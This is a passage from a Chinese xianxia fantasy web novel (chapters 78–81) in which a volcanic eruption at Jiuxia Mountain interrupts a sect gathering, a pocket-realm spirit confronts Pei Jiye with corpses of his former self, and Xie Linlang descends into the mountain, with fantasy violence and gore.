但只要将寂夜宫潜藏的天大灾厄说清楚, 裴寂夜就会瞬间成为真界无数修士共同的敌人, 不管是平息即将到来的劫难, 还是被迫承受寂夜宫的因果业障, 裴寂夜都完蛋了！ 只要裴寂夜一死, 这根卡在胸口的刺就会彻底消失, 他卫景营就能击败这个心魔，修为大进了！ 可是他没想到，当他挑破了寂夜宫的惊天阴谋后，裴寂夜居然完全不理他。 就仿佛卫景营只是手边的一抹尘埃, 裴寂夜连拂去的动作都没有, 就那么被直接无视了！他无视了啊！！ 也不知道裴寂夜做了什么, 居然在无数道友面前化为虚无，消失了？ 卫景营只觉得一股血流从脚底直冲天灵感, 他整个人都要破防了。 “金翎！你们寂夜宫的宫主如此狂妄, 视我们这些真界修士的生死与安危于无物，你还有什么要说的？” 金翎真人内心发苦，他也没想到自家宫主这时候发癫啊！ 但寂夜宫多年宗门大课的教育成果在这一刻得到了体现。 只见金翎真人突然口吐鲜血，脸色苍白如纸, 他扶着胸口, 瘫软在地，下一秒眼角竟冒出了泪光。 “总、总算逃脱了宫主的控制, 诸位同道，不是我不说，而是我说不得啊！” 卫景营：“……” 坐在前面的梦华仙门的魏紫仙子霍然起身, 她震惊地说：“金翎道友？你这、天啊，到底是怎么回事？天凌宗主突然说你们寂夜宫将给整个大陆带来劫难，我还不太信……” 金翎真人有气无力地说：“卫宗主此前说的寂夜长吟，其实是我们寂夜宫每隔百年都要出动全部宗门弟子拼死战斗的一场灾难。” 金翎真人娓娓道来。 寂夜宫坐落在魔域最南边的海边，这片海域非常古老，甚至还生活着一些传说中的上古海族大妖。 “这并非是谎言，而是现实，每隔百年，上古时代的蛮荒海域就会与寂夜宫所在的海域相重叠，上古时代的大妖和魔怪们会趁着空间重叠之际冲击寂夜宫。” 金翎真人说到这里，脸色变得苍白而艰涩，这并非谎言，而是事实。 他自己就已经参加过三次寂夜长吟了。 “什么？！”旁边的修士面色陡变，不可思议地说：“上古时代的大妖和魔怪？那会何其强大啊！？” “……但也是一份机缘吧？上古大妖的血肉效果可比现在的妖族要强多了。” 应啸天在旁边凉凉地说：“我们是修士，有坏处那肯定是有好处，也许当年寂夜宫初代宫主就是因为这个原因，才将寂夜宫建立在海边呢？” 金翎真人也不卖惨了，他爽快地点头：“没错，寂夜宫因此发家，我们的确储备了不少大妖尸骨，应道友的白骨宗是我们关系最好的买家。” 应啸天冷笑不已。 他们白骨宗一身修为都在骨头上，可不就只能去找寂夜宫买上古妖骨嘛。 “上古海妖们大多擅长音攻，连绵不绝的妖族冲击海岸，仿佛大海在发出绵长的吟诵声，所以叫寂夜长吟。” 金翎真人道：“我们寂夜宫有全套地应对寂夜长吟的流程，所以这只能算是我们寂夜宫的机缘，压根不算什么灾难。” 玄命派的青年修士盯着金翎真人，喃喃地说：“可你遭到了寂夜宫主的控制，说明此事出了岔子。” 金翎真人沉默了一秒，语气沉痛地说：“没错，寂夜长吟本该百年一次，上一次寂夜长吟发生在大约八十余年前，距离长吟还有十几年，本该是这样的。” 他一摊手，有种豁出一切的摆烂感：“但寂夜长吟突然提前了，按照宫内推测，不是今年年底就是明年。” 大家听后都是一愣，其中一个修士小心翼翼地问：“提前很麻烦吗？” “对啊，宫内应对无数上古海妖的大型阵法和器械都还没有修缮好，因为需要一些特别的材料，材料尚且在培育中。” 金翎真人的脸色难看起来，这次是真难看了，不是假装，“有些针对寂夜长吟特别炼制的法器也还在积蓄力量的阶段，尚且不能使用。” 这也是之前裴寂夜召开宗门高层会议时，会有那么多高阶修士露面的原因。 往日里高阶修士都不会停留在宗门，而是外出寻找机缘，除非渡劫或者寂夜长吟，他们压根不回来。 但寂夜长吟提前开启，所有依靠着宗门功德渡劫的修士都冥冥之中有提醒和预感，他们不约而同地提前回宗门打听情况。 “如果寂夜宫此次应对失败……” 玄命派的修士脸色和金翎真人一样难看，他呢喃着此前说的谶语：“南冥之海烈烈……” 听到玄命派修士此言，众人全都露出了若有所思的神情。 难不成这第二句指的就是寂夜宫？ 天凌宗主冷漠地说：“那问题来了，为什么寂夜长吟会提前？若是你们应对失败，那些上古大妖会不会冲击整个大陆，甚至穿过界门涌入真界？” 一个修士脱口而出：“还有这等好事？” 大妖骨、血、肉都是以前做梦都找不到的材料啊！ 他身侧的修士赶紧给他一肘子，胡扯八道什么呢？ 上古大妖哪里是他们这些后世修士可以应对的？要知道能击败上古大妖统御大陆的大夏，全靠实力最低为地仙的炼气士们啊！ 后来这群上古炼气士有感于天地灵力衰竭，才建立了仙界，离开人世间，也才有了如今的大陆格局。 金翎真人微微蹙眉，他摇头，是真的不知道：“这我们也不清楚，寂夜宫也在全力准备可能到来的寂夜长吟……” 玄命派修士似乎明白了什么，他看向卫景营：“卫宗主似乎知道？” 卫景营冷笑：“我只知道刚才裴宫主的样子似乎不太对劲！” 他还在姓氏上加了强调音。 寂夜宫半中腰换宫主，你们就没发现吗？ 还是说你们早就知道裴寂夜的事，故意再这里转移视线、避重就轻？ 然而金翎真人似乎没听懂卫景营的意思，他面色古怪：“我们宫主一直是这样，情绪不太稳定，想一出是一出，毕竟我们是魔修嘛……” 就在卫景营还想说什么之际，一直坐在主座上似乎做壁上观的神微真人突兀开口了。 “好了，卫宗主，既然我们已经知道了玄命派道友口中的谶语，也知道了可能与寂夜宫有关，那就没什么可忧虑的了，先来看看芥子境的传承争斗吧。” 神微真人又一次打断了卫景营刚积蓄起来的气势，指着前面的晶面道：“似乎是寂夜宫弟子夺得头筹，可见贵派弟子非常优秀啊。” 被神微真人的话音所吸引，在做诸多修士都不约而同地看向晶面。 晶面里，一个黑衣黑发的少年正拿着一个精致小巧的丹炉，丹炉三足圆肚，炉盖扁平，上面雕刻着繁复的花纹。 “咦？那不是琳琅道君往日随身携带的荷叶炉吗？” “没错，是荷叶炉，扁扁的，像是荷叶一样的波浪边缘，上面还雕刻着荷花的花纹。” 晶面里的少年接过这荷叶炉，他几乎是下意识地打开了炉盖，往里面看了看。 而顺着这个动作，晶面似乎拉进了距离，镜头对准了炉盖里面，似乎打算让所有人看清里面的东西。 涉及到了仙品的丹师传承，高阶修士们的注意力都不约而同地被吸引了过去。 唯独卫景营在生闷气。 他简直要气坏了，怎么今日神微真人一直在扯后腿？ 是以他没有去看那晶面上展示的画面，而是趁所有人都不注意，扭头去看神微真人。 他微不可查地试图传音和神微真人谈一谈：“你……” 可就是这一扭头，他正看到神微真人从袖子里摸出了一把长剑。 长剑泛着寒光，剑分两刃，一剑刺向了他身侧的梦华仙门女修魏紫仙子，另一剑刺向了卫景营。 卫景营：？？？ 他完全没有反应过来，或者说这件事发生的太突然了，他只来得及调动灵力，他穿着的这身为了应对裴霁的雪白衣袍上，蓝色花纹高速旋转，立刻凝聚成了一面冰镜！ 叮当—— 噗叽—— 一剑撞击在了卫景营身前的冰镜上，另一剑却直直刺穿了魏紫仙子的后心，魏紫仙子面色煞白，一口血喷出。 她眼中闪过一抹厉色，无数紫色花瓣从伤口中交叠绽放，眨眼间，魏紫仙子整个人都化为无数花朵，继而消失在眼前。 听到这里的异动，周围的修士下意识地看过来。 轰隆—— 一直播放着其他弟子在试炼内表现的巨大晶石突兀爆炸开来，继而一股澎湃而恐怖的灵力从九夏山那巨大的、巍峨的山体内猛地震动了一下。 砰！ 仿佛一柄巨大的锤子，狠狠地撞击了一下大地，继而整个大地都凹陷进去，山岩开始崩裂、灰尘轰然升空。 所有人都被这突变甩了出去，五光十色的灵力在半空闪现，众人皆各施手段，悬浮于半空。 “天啊……” 直到他们腾空而起，这才发现几乎撑起了这片天地的九夏山中心，竟不知何时凹陷了下去，那凹陷的深坑化为了刺目的金红色，滚烫的岩浆伴随着无边恐怖的天地灵力，轰然冲出。 那火焰化为的水柱如龙般探出，直接淹没了靠得最近的两个修士，那两个修士连声音都没发出，直接化为了灰烬。 玄命派的青年修士震惊到失神：“等等，九夏山居然是一座活火山？！” 之前谶语怎么说来着？ 火山之水涛涛。 第79章 第 79 章 “你来迟了。” 谢琳琅并不知道外面的剧变。 他和化身为八哥的昆吾之灵交谈完毕后, 昆吾之灵将谢琳琅之前留在八哥这里的东西都拿了出来。 由于谢琳琅大部分东西都消耗在渡劫里了，吃了黄泉回首丹后还忘记了昆吾之灵的事，这导致昆吾这里的东西大部分都是谢琳琅最开始交易时留下的。 有谢琳琅用惯的备用丹炉, 有一些当初积攒下来的奇奇怪怪的丹药, 还有两个防止炸炉的护身法器, 以及一些说明性的文书。 好在这本是他准备的后手, 将来要交给转世他的自己或者转世的裴霁, 所以丹药的范围比较广, 有结丹用的丹药、结婴以及化紫府等大阶段必备的丹药。 正好是谢琳琅用得上的好东西。 谢琳琅收好这些东西，他对昆吾之灵道：“多谢你帮我留着这些东西了，我想知道试炼之后，你打算怎么向师叔解释我的事？我暂时不想泄露身份……” 单腿站在幻境里丹炉上的八哥歪了歪脑袋：“神微真人来和我谈交易, 说只要我选出一个合适的继承者, 就不再干涉我。” 谢琳琅微微蹙眉, 正要开口，就听八哥道：“但他后来变更了条件, 希望我帮个小忙, 我觉得很有趣，就答应了。” 谢琳琅一愣，昆吾之灵又道：“说起来你虽然师承伯夏一脉，但按照九夏山的规则, 传到你这一代就是仲夏了, 只有你那个师兄才算是真正的掌门嫡脉。” 谢琳琅不明所以，他点头说：“没错, 我并不清楚伯夏那一脉的秘法，为什么突然这么说？” 八哥的脸上露出了非常人性化的诡异笑容。 “你想知道伯夏一脉的秘密吗？” 谢琳琅心中浮现出一抹古怪的感觉，他提高了警惕。 在和昆吾之灵的交易结束后, 以他对天魔本性的熟悉和了解，也许昆吾之灵会找他的麻烦。 “想知道又如何？不想知道又如何？” 谢琳琅反问道：“你真的会按照我给出的回答来行动吗？” “咯咯咯，不愧是你，真是了解我等。” 八哥的声音突然出现了重音，先是无数个声音重叠在一起，带着森然而可怖的回音，“那就去看看吧，我很期待你的选择。” 伴随着八哥诡异的话语，谢琳琅只觉得眼前一花，周围灵力如涡旋一般高速旋转，空间出现了蜘蛛裂纹，像是银瓶炸裂般即将破碎。 一股更加浑厚的、带着浓烈火焰气息的力量冲入芥子境。 感知到这股力量的瞬间，谢琳琅面色微变。 “这是九夏山的地心火？！” 九夏山的内部充溢着沸腾而磅礴的地心火，棠花谷的丹房就引出了一缕地心火，以方便弟子开炉炼丹或者锻造法器。 “你疯了？仙品级的芥子境若是崩塌，你会陨落的！” “嘻嘻，你错了哦，仙品级的芥子境是可以进行二次锻造，感谢你当初用天魔作为我诞生的养料，我也具备天魔的特性呀。” 天魔无色无相、无法彻底根除，即便能被天雷和地火这等极为阳刚的力量彻底湮灭，可偏生仙品级的芥子境内自带造化之气、生生不息，天魔又可凭借这一点造化生机再度复苏，可不就是天然的淬炼、锻造自己的好机会吗？ 将芥子境的范围扩大，彻底笼罩整个九夏山主体存在后，芥子境就像是一个满是裂纹的漏水瓷瓶。 地心火夹杂着混乱狂躁的灵力疯狂卷动着周围，所有被摄入到芥子境内的修士全都无法稳定身形，像是被离心机甩出去一样，眨眼间就被扔进了庞大的九夏山内部！ 偏生九夏山顶部的盖子被人为掀开了，无边岩浆和地火蜂拥而出，来不及逃窜和升空的修士连尖叫声都没有发出，就被这无边火水吞噬了。 “你可是我的前主人，也是造化我出现的存在，总是要有些优待的。” 八哥扑棱着翅膀，在无数火龙般的混沌气流间来回飞舞，发出了咯咯的怪异笑声，“去吧，去看看九夏山内部的真实吧，我期待你的选择。” 谢琳琅顾不上去抓八哥，他如今只有筑基期，根本不是这些凌乱溅射的地心火的对手，但凡被沾到一丝，他就会被焚烧成灰，只能尽力转移身体规避火焰长蛇。 听到昆吾之灵的笑声，谢琳琅直觉觉得不好。 他几乎下意识地放出了七星剑和阵盘护体，眨眼间天旋地转，他被一股可怖的混沌灵力裹挟着，卷入了一个漆黑的洞里。 周围温度高得不可思议，谢琳琅甚至有种被融化的错觉，体内的血液流速加快，脑袋嗡嗡的，眼前时而出现黑色圆形斑点的幻觉，时而跳出一两缕火焰。 他不断运转体内魔气，试图压下这股躁动和奇怪的感觉。 然而不知道为什么，他越是运转魔气，反应越强烈。 谢琳琅立刻放弃魔气，反而运转《宝树经》。 果不其然，天魔之力无形无束，反而能自如地流转于体内，立刻抚平了心中的躁动。 但与之相对的，谢琳琅下意识地升腾起一种探究和跃跃欲试的渴望，并认为眼前的突变非常有趣，甚至觉得很畅快好玩。 谢琳琅闭眼凝神，稍微稳定了一下心神，防止自己真的受天魔影响，这才有精力观察周围。 四周是漆黑的山腹深处，岩壁上覆盖着金红色花纹，隐隐能听见岩浆在内部流动的咕嘟声。 数万年积蓄下来的、充溢着毁灭之力的地心火正在违抗大地的束缚，争先恐后的冲向云霄和天际。 谢琳琅心中升起一抹忧虑。 能让天性为魔的昆吾之灵产生期待，神微真人到底和昆吾之灵达成了什么协议？ 谢琳琅知道神微真人已然被红师姐干掉了，可他并不清楚有另一个未知之人占据了神微真人的身体，并和昆吾之灵达成了二次合作。 他只以为这一切都是神微真人生前留下的计划。 九夏山周围有诸多坊市，还有很多凡俗人建立的小镇和城池，若是任由九夏山的地心火肆意流淌，周围万里之地都将化为焦土！ 谢琳琅不在乎九夏山会变成什么样，修士感悟天地、吸收灵力以提升实力，自然也要有被天地之威吞噬的觉悟。 可他有些忧虑地心火扩散后带来的连锁反应。 毕竟昆吾之灵是他催生出来的，而若无昆吾之灵，想必神微真人也不能借用芥子境的撞击和碎裂，从而将整个山火的规模扩大到全境。 谢琳琅打起精神，他仔细观察四周墙壁上的金红色花纹，注意到这些花纹都在不断向上流动，像是在向上输送着灵力。 核心是在下方吗？ 谢琳琅左右看了看，立刻找到了一条向下的通道。 他掐了法诀，脚踩七星阵盘，手持泛着蓝色光芒的七星剑，又取出了一个浑身用的圆形镂空香囊，这还是昆吾之灵还给他的法器。 谢琳琅的身影消失在通道之中。 而在谢琳琅向下探索的瞬间，昆吾之灵仿佛感知到了什么。 八哥在纯白的雾气中来回翻飞，不断重复着：“果然如此，果然如此。” 这个创造了他的人看起来冷漠，可许是出身前朝书香门第，总有些书生意气和悲天悯人的天真。 只不过谢琳琅隐藏得很好，又因为裴霁身死道消的缘故，整个人丧极了，这才显得对什么都漠不关心。 就在此时，一只略显苍白的手无比精准地掐住了八哥的翅根，原本还在扑棱翅膀的八哥仿佛被扼住了命运的喉咙，一下子卡那不动了。 裴寂夜悬浮在激荡的乱流之中，金红色和灰黑色的火焰在他身周来回翻飞冲撞，却无法伤他分毫。 他褪去了那灰发灰眸的模样，一头黑色长发垂落下来，上面闪烁着绿色光点，这些光点宛如活物，在发丝间来回流窜，带起晶莹的绿色流光。 鲜红色的眼眸在这流淌的绿色光晕中显得无比刺目而恐怖，浓郁的黑紫色雾气萦绕在他神州，他仿佛从深渊里出现的厉鬼和魔神。 裴寂夜的声音泛着些微沙哑和艰涩，他强行换来了本体，状况不太好。 可无所谓了，比起什么真界安危，什么寂夜长吟的危机，他现在只想冲到谢琳琅面前，抱住他失去了很多年的爱侣，倾诉心中的悲痛和委屈。 “你将他送到哪里了？” 八哥瑟瑟发抖，鸟喙嘎巴碰撞着，像是吓破了胆。 “外、外面危险，九夏山的山腹里反而安全。”昆吾之灵像是想要证明自己没说谎一样，快速道：“九夏山立派根基就在山腹里，那是……” “不用你说，我知道，那里有九夏山的圣物。” 裴寂夜稍微用力，直接捏碎了这只八哥，面无表情地搓了搓手指，“一个盛满了上古大夏皇族妖血的扶桑釜。” “扶桑釜镇压着九夏山下方的活火山，由此可得无边恩德，庇护大夏余脉万余年。” 所有人都以为九夏山是凭借着大夏恩德才能延续这么久，可是天道莫测，哪有一成不变的恩泽，又哪来的永续庇护？ 当年在此开宗立派的三位大夏后裔早就谋算好了一切，只要九夏山在此镇压着下方的活火山，只要庇护这方土地的安全，九夏山就能长久地传承下去。 为了防止被人发现这其中猫腻，毁去九夏山真正的传承根基，唯有伯夏嫡传的掌门一派才知道扶桑釜的存在。 听到裴寂夜的话，已然被捏成碎肉的八哥突然漂浮起了两只灯泡一样眼睛。 它直勾勾地看着裴寂夜。 “原来是你，裴霁。” 它咯咯笑，“你来迟了。” 第80章 第 80 章 “你的存在，就是他爱我…… 八哥的话没有引起裴寂夜的任何情绪波动。 事到如今, 除了谢琳琅外，已经再没有什么事能让他产生剧烈反应了。 ……哦，红师姐送的大礼不算, 反正她已经走了。 裴寂夜一听谢琳琅不在芥子境内, 转头就走。 可是他刚迈出一步, 突然面色微变, 一股玄之又玄的力量如蒲草般柔弱却坚韧地锁定了他。 裴寂夜有种预感, 如果他现在强行破开芥子境, 那喷涌的火山岩浆流会立刻冲向自己。 他并不在乎火山岩浆流，但若在真界强行使用本体力量，容易遭到真界通缉上附带的九霄神雷远程轰击。 该死的，这还是天凌宗主卫景营那个混蛋强行将符文插入到真界界门里的！ 被轰击了没什么, 他的神魂会自动进行空间跃迁回归寂夜宫, 可、可那样一来, 他就又要和谢琳琅分开了！！ “你想说什么？” 裴寂夜垂下眼眸，额头的发丝遮挡了他的眉眼, 挡住了他眼中闪过的一丝丝绿光。 一缕缕与白色烟雾相似的灰绿色雾气缓缓氤氲而生, 在无数爆开的岩浆流里是那么不显眼。 “原来你就是裴霁。” 碎肉一样的八哥瞪着两个肉球一样的眼珠子，就这么定定地看着裴寂夜。 “此前神微真人说，卫景营想要针对你，甚至找神微真人联手, 神微真人虽然不明所以, 可他无法拒绝来自天凌宗的示好，于是就答应了。” 八哥的声音在无数迸发的岩浆侵蚀山岩声中显得若有若无, 似乎是从很遥远的地方，又像是近在咫尺，“原来你是裴霁, 怪不得卫景营认为神微真人一定会帮他……一旦神微知道你是谁，那肯定要帮卫景营呀。” 裴寂夜双手拢在黑色袖袍里，手指快速掐着法诀。 丝丝缕缕的灰绿色雾气不断扩散开来，他能感知到芥子境那如琉璃瓶子破碎的裂痕，也能感觉到九夏山的灵力、岩浆和地心火正在快速吞噬着芥子境。 但每当芥子境的一缕气息消散的瞬间，又仿佛野火燎原般再度涌动出生生不息的造化之气，重构着芥子境的天地空间。 原来如此！ 裴寂夜心中一凛，这芥子境的灵智是不是太高超了些？居然与神微真人谈交易，并趁机重构芥子境的天地？ “我听说你是琳琅的芥子境产生的境灵，还想离开九夏山？” 裴寂夜一边拖延时间，一边快速施法，寻找那种牢牢锁定他的法术源头。 “原来你就是裴霁呀。” 但昆吾之灵没有理会裴寂夜的话，而是强调一样重复着说：“真正的裴霁是这样子的。” 裴寂夜心头涌上一股怪异的感觉。 “……是琳琅对你说过我的事吗？” “是呀，他对我说过很多你的事。” 那团细碎的八哥血肉像是被无形的力量捏揉，很快变成了一颗黑白分明的大眼珠子。 这颗眼珠的瞳孔虽然是普通的黑色，可被这黑色瞳孔牢牢盯着，裴寂夜有种被未知的、不祥之物牢牢锁定一般。 这种怪异而莫测的感觉…… “天魔？”裴寂夜试探着道：“芥子境的境灵还会生魔吗？” 昆吾之灵形成的大眼珠子转动了一下，没有理会裴寂夜的话，而是细细描摹着裴寂夜的样貌和感觉。 很快，在大眼珠子身侧，一缕朦胧的白色雾气逐渐勾勒出了一尊人影。 这人穿着绿色长袍，如山林间的一抹青翠，长发随意散落在肩膀边，鬓角的发丝缠绕在脑后扎了个发髻，他的眉目舒朗开阔，纵然与裴寂夜有几分相似之处，却绝无此刻裴寂夜的乖戾和锋利感。 青年腰悬三尺长剑，手里还拎着一个酒葫芦，笑容爽朗，顾盼间意气飞扬。 那是还未遭遇突变的裴霁，是曾经九夏山有名的元婴剑仙裴霁。 裴寂夜面沉如水，神情冷肃而冰凉，甚至唇角泛起了丝丝嘲弄之意。 “如果你想动摇我，就不该变成我的模样。” 芥子境果然只是一个仙品芥子空间，即便诞生了境灵，还生了心魔，也傻傻的，居然变换成他以前的样子。 难不成芥子境灵以为他心底的弱点是过去的自己？ 伴随着这句话，裴寂夜缓缓抬起手，黑烟以他为中心如线性般骤然放射开来，一瞬间所有翻滚的雾气和滔天的岩浆火焰全都被湮灭了！ “我找到了。”裴寂夜轻声道：“芥子境的核心。” 丝丝缕缕的灰绿色雾气终于浸透了芥子境的全部空间，找到了被隐藏起来的空间核心。 那是一个类似丹炉形状的器皿，只能说不愧是谢琳琅曾经的芥子境，还是受到了前主人的影响。 裴寂夜身形骤然消失，下一秒他就出现在那丹炉形状的器皿前。 此刻这器皿周围漂浮着肉眼不可见的白色小点，无数小点汇聚起来，形成了一团团白色雾气。 之前裴寂夜感知到的束缚正来自这些细小的点。 每一点都是芥子境天然形成的规则，每一点规则在九夏山的岩浆火焰中毁灭又重生，经过地火淬炼复生，力量正在快速增强。 若是再拖延时间，芥子境的束缚和封禁力量会更强！ 裴寂夜不再犹豫，他抬手一甩，黑绿色长剑出现在他手中，他毫不犹豫地刺入了那个丹炉形状的器皿。 砰！ 然而和预料的不同，那丹炉却像是个橡胶气球一般瘪了下去，下一秒出现了噗噗漏气声。 裴寂夜顿时察觉到身上的束缚力度变轻，他似乎随时都可以离开芥子境了！ 可随即发生的一幕，让他全身血液冰凉，再不能迈开一步。 只见破碎的丹炉器皿开了个口子，往下落出了一具破碎的尸体。 那尸体穿着绿色长袍，脸上还洋溢着朝气蓬勃的笑容，只是半个身体都是破碎扭曲的，正是裴霁的尸体！ 第一具尸体落出来，紧接着是第二具、第三具……眨眼间，那破碎的丹炉器皿像是倾倒垃圾般，爆出了无数具裴霁的尸体，瞬间堆满了眼前的空间。 每一个裴霁都在微笑，那是裴霁以前的招牌笑容，爽朗疏阔，黑亮的眼睛里全是笑意，仿佛在全身心地注视着某个人。 然而每个裴霁的身体都有着不同的致命伤，有的是脖颈，有的是心口，有的四肢折断，有的身体扭曲。 除了那张脸。 细看裴霁的尸体，唯独面容完好无损，就仿佛是不舍得伤害这张脸皮一样。 但身躯部分却血肉模糊，白骨支棱着，鲜血如细碎的血色点点，不断颤动着、流淌着，转瞬间汇聚成了小河，发出滴滴答答的声音。 “满意你所看到的吗？” 不知何时，昆吾之灵所化的大眼珠子无声无息地出现在了裴寂夜的身后。 “这都是我的前主人琳琅道君的手笔。” 裴寂夜本是下意识要避开昆吾之灵，却被这一句话定在了当场。 “你、你说什么？” “每一个裴霁，都是谢琳琅所创造出来的傀儡哦。” 昆吾之灵的声音竟带着些许烂漫，却又饱含嘲弄之意，“你刚才说芥子境也会生出天魔……咯咯咯你说错啦，我怎么会生出修士才有的天魔呢？” “我就是用天魔残渣制作而成的呀。” 昆吾之灵大眼珠子轻飘飘地越过裴寂夜的肩膀，落在了无数个裴霁尸体而上。 每个裴霁都在微笑，笑得很疏阔，可仔细看去，这笑意不及眼底，显得冰凉而空洞。 “琳琅道君召唤了无数个天魔，天魔拟态成了他的心魔样貌，也就是你裴霁的样子，再被他堪破幻象，碾碎成残渣。” 昆吾之灵的大眼珠子上垂下了一根根细丝。 像是蜘蛛在进食，又像是在一只释放剧毒触手的大水母。 细丝缠绕在裴霁的尸体而上，尸体化为精纯的天魔之力流入了昆吾之灵内，只余下一张张裴霁的面皮，仿佛串成了千面绳，绳索上的裴霁还在微笑，令人毛骨悚然。 “他催生昆吾之灵时，将积蓄了快百年的天魔残渣倒入丹炉里，待我诞生于芥子境内后，他对我说的第一句话竟还是，你要将我毕生所思所想告诉裴霁……” 昆吾之灵语气中充溢着怨毒和不甘，“那时我就在想，凭什么啊？凭什么我不能成为他思念的裴霁呢？” 裴寂夜呆滞地看着被串起的千面裴霁微笑面皮串，神色怔怔的。 “他吃了黄泉丹忘记了我，可无论何时他都忘不了你。” 昆吾之灵的声调阴森冰凉，只是下一秒又变得欢喜而甜蜜，“我一直都很想知道，真正的裴霁是什么样子，可惜裴霁死了，但万万没想到，你还活着呀！” 大眼珠子深情款款地看着面前的黑衣人。 “原来你还在人世间，这真是太好了，我终于知道裴霁是什么样子了。” 那一长串微笑着的裴霁也仿佛活了过来，全都直勾勾地看着裴寂夜。 昆吾之灵发自内心喜悦着：“来吧，我这里就差一具真正的裴霁尸体了，拥有了你，我就是裴霁了。” 这一幕本是骇人无比的画面，然而裴寂夜怔神许久后，竟低低笑了起来。 他同样发自内心喜悦着，高兴着。 “琳琅心里果然有我！” 这一个个裴霁脸皮串联而成的怪物似乎很可怖，但在裴寂夜眼里却可爱极了。 “太好了，你能诞生在这个世界上，这真是太好了！” 昆吾之灵：“什么？” 裴寂夜长笑起来，整个人都像是上了一层柔光滤镜。 “你的存在，就是他爱我的最有力证明！” 他神色柔和极了，甚至让昆吾之灵产生了作呕的感觉。 因为裴寂夜甜蜜地说：“谢谢你，很高兴见到你。” 昆吾之灵：“……” 80-90 第81章 第 81 章 忧心忡忡。 谢琳琅并不知道裴寂夜和昆吾之灵间的争斗。 他一路向下, 逆着不断向上涌动的金红色岩浆符文，朝着山腹深处急驰而去。 周围温度越来越高，山岩周围时不时喷出一条岩浆火舌, 吞噬了谢琳琅上方的来路, 像是要彻底斩断他的退路一般。 谢琳琅此刻的修为太低了, 越是深入向下, 他越觉得不舒服, 甚至体内的魔气像是要融化了一样, 神识也很难透出体外进行探查。 还要朝下吗？ 谢琳琅踟蹰了。 虽然不明白昆吾之灵为什么要将他扔到这里，也不知道九夏山的山腹深处到底发生了什么，才会导致地心火爆发，岩浆喷射而出。 可若是继续在此停留, 也许自己就要在此陨落了。 谢琳琅还有想做的事, 他不愿意也绝对不能死在这里！ 但就在他准备找出口离开的瞬间, 前方闪过一丝灵力波动，继而出现了摔倒在地的声音。 谢琳琅有些惊愕, 继而明白了什么。 等等, 芥子境的昆吾之灵将他甩入山腹中，难道被甩进来的人不仅仅是他？参与芥子境考核的那么多修士…… 谢琳琅面色微变，难道沈鹤也在山腹里？ 一想到沈鹤可能死在这里，谢琳琅的心都要提到嗓子眼了。 由于师尊神幽真人和红师姐间的纠葛, 谢琳琅生怕沈鹤出点什么岔子。 万一最后他也像自己师尊那样, 因为试图想要撇清与红师姐的关系，结果反而在不知情的情况莫名其妙地陷入了红师姐的生死劫里, 那就太糟心了！ 按照他过去和裴霁的推测，若想完全分清重修之人和福缘之人的关系，最快也要元婴期, 稳妥点是化神期，直到渡劫期，也就是倚仗的福缘之人度过天劫考核，被天道盖章认可了，二者才能算是彻底分开联系。 这之前，重修者最好将福缘之人当做自己亲生孩子来对待。 谢琳琅提气飞驰，转过一个破碎山岩的转角，就看到一个人趴在地上，仿佛已经没了气息。 谢琳琅挑眉，他没有立刻靠近，而是抬手将手腕间的藕丝甩了出去，缠绕在那人的手臂上，微微用力，将人翻了过来。 见到这人的瞬间，谢琳琅怔了怔，闻净焱？ 他怎么在这里？ 谢琳琅不明所以，但还是一边戒备一边靠近了些。 “闻前辈？” 闻净焱面色煞白，呼吸微弱，像是下一秒就要死了似的。 他的胸口有大片大片的血迹，仿佛被人从中刺穿了一般。 谢琳琅略一犹豫，还是靠近了闻净焱。 他很熟悉闻净焱，虽然闻净焱是神微真人的嫡传弟子，但谢琳琅和闻净焱本质上没有竞争关系，谢琳琅并非嫡传继承人，即便再怎么看神微真人不顺眼，也不可能夺权上位。 而闻净焱喜欢研究阵法，不愿对外交流，和谢琳琅有点相似之处。 后来谢琳琅研究炼丹时的布丹手法，需要一位阵法高手帮忙，闻净焱闻讯主动过来毛遂自荐，两人一起搞研究，关系缓和了不少。 最重要是，神微真人已经陨落了，若想知道当年裴霁的事，只能从闻净焱入手了。 谢琳琅想了很多，但从表面看，他只是略一怔忪，就拿出了一瓶丹药，魔气涌动间丹药化为液体，直接落入了闻净焱的口鼻之中。 几个呼吸后，闻净焱的眼皮动了动，睁开了眼睛。 在看到谢琳琅的瞬间，闻净焱明显怔了一下，喃喃地说：“你是……” 谢琳琅轻声道：“闻前辈？我是寂夜宫的谢玉，之前抵达九夏山时曾有幸见过您一面，您可能已经忘记了。” 闻净焱又明显卡顿了几秒，才缓缓道：“哦，寂夜宫弟子……我想起来了……” 他勉强靠着岩壁坐起来，迷茫地看了一眼周围，“你要去找你们宗门弟子吗？他们在下面，不知道为什么互相攻击着彼此，我受伤了，拦不住，就想找出口叫人来帮忙……” 谢琳琅定定地看着闻净焱，轻声道：“您是说，我的同门都在下面？” 闻净焱嗯了一声：“对了，到底发生了什么事？怎么地心火爆发了？” 谢琳琅又沉默了十几秒才道：“我也不知道，本来在参加考核，突然眼前一花，就来到了这里，岩浆都往上涌，我想着也许下面出了什么岔子，就逆着方向来看看。” 谢琳琅稍微绕开了闻净焱，瞟了一眼闻净焱身后的道路，他平静地说：“既然前辈受伤不轻，就赶紧离开吧，我下去看看。” 闻净焱面色微变，他似乎想说什么，但谢琳琅没有给他这个机会，只是身影轻轻一晃，就略过了闻净焱，继续向前疾驰。 “等等！” 闻净焱想要叫住谢琳琅，然而谢琳琅太快了，几乎眨眼间就消失在了金红色的岩壁间。 闻净焱脸色铁青。 他勉力扶着墙站起来，看着谢琳琅消失的方向犹豫不定。 闻净焱昨夜在自己静室内研习阵法，并为第二天的芥子境考核做准备。 低阶修士要去参加考核，他则必须跟着师尊神微真人与众多道友搞社交。 即便闻净焱不想承担掌门的职责，可作为掌门可以最大限度使用九夏山的物资，阅览九夏山历代前辈留下的阵法心得和手稿，这对闻净焱来说有着莫大吸引力，所以他还是很在乎掌门嫡传大弟子的身份。 只是他没想到，半夜师父神微真人来找他，三言两语间竟出手偷袭他！ 猝不及防下，闻净焱根本无法对抗，直接被神微真人捏碎了元婴，打破了紫府。 幸好闻净焱本就在研究一种特别的阵法，他利用鲜血发动阵法，凭借着九夏山嫡传弟子的身份，勉强从神微真人手中苟了一条命。 等他再醒来时，他就落入了九夏山的山腹最深处。 好在他身边还有一个人，正是昨日下午来找他说话的高淳秋。 高淳秋不明白发生了什么，他本在寂夜宫所在的静室内照顾闻净焱，只听得外面发生剧烈轰鸣声后，四周突兀升腾起白色雾气，下一秒，他就和床榻上的闻净焱一起落在了九夏山的山腹深处？ 